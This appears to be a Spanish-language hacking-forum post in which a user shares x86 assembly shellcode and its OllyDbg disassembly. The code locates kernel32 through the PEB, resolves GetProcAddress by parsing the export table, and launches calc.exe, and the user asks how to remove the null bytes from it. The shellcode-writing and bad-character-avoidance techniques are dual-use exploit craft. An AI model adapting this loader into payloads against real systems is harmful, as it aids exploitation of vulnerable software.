1
Hacking / como eliminar cacateres nulos al construir shellcode a partir de este código?
« en: Marzo 21, 2011, 11:26:39 pm »Código: [Seleccionar]
.386
.model flat, stdcall ;32 bit memory model
option casemap :none ;case sensitive
assume fs:nothing
.data
winexec db "WinExec", 0
calc db "calc.exe", 0
exit db "ExitProcess", 0
.code
dirFuncion proc
; ******************************************
; Buscamos la direcci�n base de kernel32.dll
; ******************************************
xor ebx, ebx ;utilizamos ebx en lugar de eax porque con eax salen caracteres nulos. Al final movemos ebx -> eax para tenerloigual que antes.
mov ebx, fs:[ebx+30h]
mov ebx, [ebx+0Ch]
mov ebx, [ebx+1Ch]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx+08h]
mov eax, ebx
push eax ; guardamos en la pila la direccion base de kernel32.dll
; ***********************************************************************
; Buscamos la direccion de GetProcAddress dada la direccion base de kernel32.dll
; ***********************************************************************
busca_funcion:
mov esi, [esp] ; puntero a la direccion base
add esi, [esi+03Ch] ; puntero a PE signature
mov edx, [esi+078h] ; puntero a la Export table
add edx, [esp] ; sumamos la direccion base
mov ecx, edx ; esto evita meter el 20h (un espacio) que nos corta la shellcode
add ecx, 1fh
inc ecx
mov ebx, [ecx] ; puntero al array AddressOfNames
add ebx, [esp]
xor eax, eax ; indice de AddressOfNames
bucle_funcion: ; buscamos la funcion a partir de la direccion base
mov edi, [ebx]
add edi, [esp]
; como ya no usamos el segmento .data, comparamos directamente el nombre de
; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
; tenemos que separar en un dword, un word y un byte, para que no nos coja
; ningun caracter nulo
cmp dword ptr [edi], 50746547h
jnz funcion_no_encontrada
cmp dword ptr [edi + 4], 41636f72h
jnz funcion_no_encontrada
cmp dword ptr [edi + 8], 65726464h
jnz funcion_no_encontrada
cmp word ptr [edi + 12], 7373h
je funcion_encontrada
funcion_no_encontrada:
nop ; ponemos un NOP aqui porque tras depurar con el Olly
; vi que usaba \x09 (tabulador) y me rompia la shellcode
; de esta forma amplio el salto en un byte y en lugar de
; 09 pondra 0A
add ebx, 4
inc eax
cmp eax, dword ptr [edx+18h]
jnz bucle_funcion
funcion_encontrada:
mov esi, dword ptr [edx + 24h] ; puntero a la tabla de ordinales
add esi, [esp] ; a�adimos la direccion base
xor ecx, ecx
mov cx, word ptr [esi + 2 * eax] ; cx = numero de la funcion que se ha encontrado
mov edi, dword ptr [edx + 1ch] ; puntero a la tabla de direcciones
add edi, [esp] ; a�adimos la direccion base
mov eax, dword ptr [edi + 4 * ecx] ; puntero a la funci�n encontrada
add eax, [esp] ; a�adimos la direccion base y tenemos la direccion de getprocadress en eax
pop esi ;con esto quitamos el valor base del kernel32 que de lo contrario seria la proxima instruccion a ejecutar, y lo metemos en esi para no perderlo
;leave ;esta instruccion es para dejar la pila como estaba, en este ejemplo se he echo manualmente enla instruccion anterior
ret
dirFuncion endp
start:
; **********************************
; programa principal
; **********************************
call dirFuncion
;mov esi, [esp] ;ahora ya no necesitmos hacer esto ya que ya hemos previamente metido en esi el valor del kernel32 que estaba en el top de la pila
;push ebp
;mov ebp, esp
sub esp, 0bh ; dejamos espacio en la pila para meter nuestra cadena
mov ecx, offset winexec
push ecx
push esi ;direcci�n base de kernel32
call eax ; llamamos a getprocadress
;obtenemos direccion de winexec en eax y seguimos lo de siempre
sub esp, 11h ; dejamos espacio en la pila para meter nuestra cadena
push 5 ;parametro de winexec (show)
mov ecx, offset calc
push ecx
call eax ;llamamos a winexec
call dirFuncion ;llamamos a la funcion para obtener el geptrocaddress
;sub esp, 0ah ; dejamos espacio en la pila para meter nuestra cadena
mov ecx, offset exit
push ecx
push esi ;direcci�n base de kernel32
call eax ; llamamos a getprocadress
;obtenemos direccion de exitprocess
xor ecx, ecx
push ecx
call eax
end start
este es el c�digo y este es el que aparece en olly:
Código: [Seleccionar]
00401000 /$ 33DB XOR EBX,EBX
00401002 |. 64:8B5B 30 MOV EBX,DWORD PTR FS:[EBX+30]
00401006 |. 8B5B 0C MOV EBX,DWORD PTR DS:[EBX+C]
00401009 |. 8B5B 1C MOV EBX,DWORD PTR DS:[EBX+1C]
0040100C |. 8B1B MOV EBX,DWORD PTR DS:[EBX]
0040100E |. 8B1B MOV EBX,DWORD PTR DS:[EBX]
00401010 |. 8B5B 08 MOV EBX,DWORD PTR DS:[EBX+8]
00401013 |. 8BC3 MOV EAX,EBX
00401015 |. 50 PUSH EAX
00401016 |. 8B3424 MOV ESI,DWORD PTR SS:[ESP]
00401019 |. 0376 3C ADD ESI,DWORD PTR DS:[ESI+3C]
0040101C |. 8B56 78 MOV EDX,DWORD PTR DS:[ESI+78]
0040101F |. 031424 ADD EDX,DWORD PTR SS:[ESP]
00401022 |. 8BCA MOV ECX,EDX
00401024 |. 83C1 1F ADD ECX,1F
00401027 |. 41 INC ECX
00401028 |. 8B19 MOV EBX,DWORD PTR DS:[ECX]
0040102A |. 031C24 ADD EBX,DWORD PTR SS:[ESP]
0040102D |. 33C0 XOR EAX,EAX
0040102F |> 8B3B /MOV EDI,DWORD PTR DS:[EBX]
00401031 |. 033C24 |ADD EDI,DWORD PTR SS:[ESP]
00401034 |. 813F 47657450 |CMP DWORD PTR DS:[EDI],50746547
0040103A |. 75 1A |JNZ SHORT shellcod.00401056
0040103C |. 817F 04 726F63>|CMP DWORD PTR DS:[EDI+4],41636F72
00401043 |. 75 11 |JNZ SHORT shellcod.00401056
00401045 |. 817F 08 646472>|CMP DWORD PTR DS:[EDI+8],65726464
0040104C |. 75 08 |JNZ SHORT shellcod.00401056
0040104E |. 66:817F 0C 737>|CMP WORD PTR DS:[EDI+C],7373
00401054 |. 74 0A |JE SHORT shellcod.00401060
00401056 |> 90 |NOP
00401057 |. 83C3 04 |ADD EBX,4
0040105A |. 40 |INC EAX
0040105B |. 3B42 18 |CMP EAX,DWORD PTR DS:[EDX+18]
0040105E |.^75 CF \JNZ SHORT shellcod.0040102F
00401060 |> 8B72 24 MOV ESI,DWORD PTR DS:[EDX+24]
00401063 |. 033424 ADD ESI,DWORD PTR SS:[ESP]
00401066 |. 33C9 XOR ECX,ECX
00401068 |. 66:8B0C46 MOV CX,WORD PTR DS:[ESI+EAX*2]
0040106C |. 8B7A 1C MOV EDI,DWORD PTR DS:[EDX+1C]
0040106F |. 033C24 ADD EDI,DWORD PTR SS:[ESP]
00401072 |. 8B048F MOV EAX,DWORD PTR DS:[EDI+ECX*4]
00401075 |. 030424 ADD EAX,DWORD PTR SS:[ESP]
00401078 |. 5E POP ESI
00401079 \. C3 RETN
0040107A > $ E8 81FFFFFF CALL shellcod.00401000
0040107F . 83EC 0B SUB ESP,0B
00401082 . B9 00204000 MOV ECX,shellcod.00402000 ; ASCII "WinExec"
00401087 . 51 PUSH ECX
00401088 . 56 PUSH ESI
00401089 . FFD0 CALL EAX
0040108B . 83EC 11 SUB ESP,11
0040108E . 6A 05 PUSH 5
00401090 . B9 08204000 MOV ECX,shellcod.00402008 ; ASCII "calc.exe"
00401095 . 51 PUSH ECX
00401096 . FFD0 CALL EAX
00401098 . E8 63FFFFFF CALL shellcod.00401000
0040109D . B9 11204000 MOV ECX,shellcod.00402011 ; ASCII "ExitProcess"
004010A2 . 51 PUSH ECX
004010A3 . 56 PUSH ESI
004010A4 . FFD0 CALL EAX
004010A6 . 33C9 XOR ECX,ECX
004010A8 . 51 PUSH ECX
004010A9 . FFD0 CALL EAX
como podeis observar aparecen nulos al utilizar las cadenas definidas en la seccion .data. Y esto es debido a que se llama a su direcci�n y su direcci�n contiene caracteres nulos, lo cual es de esperar pues es una direcci�n de 32 bits que no ocupa sus posiciones m�s altas conlo que hay tres caracteres nulos a la fuerza. Y quisiera saber si hay alguna manera de evitar estos caracteres nulos al utilizar las cadenas de esta forma.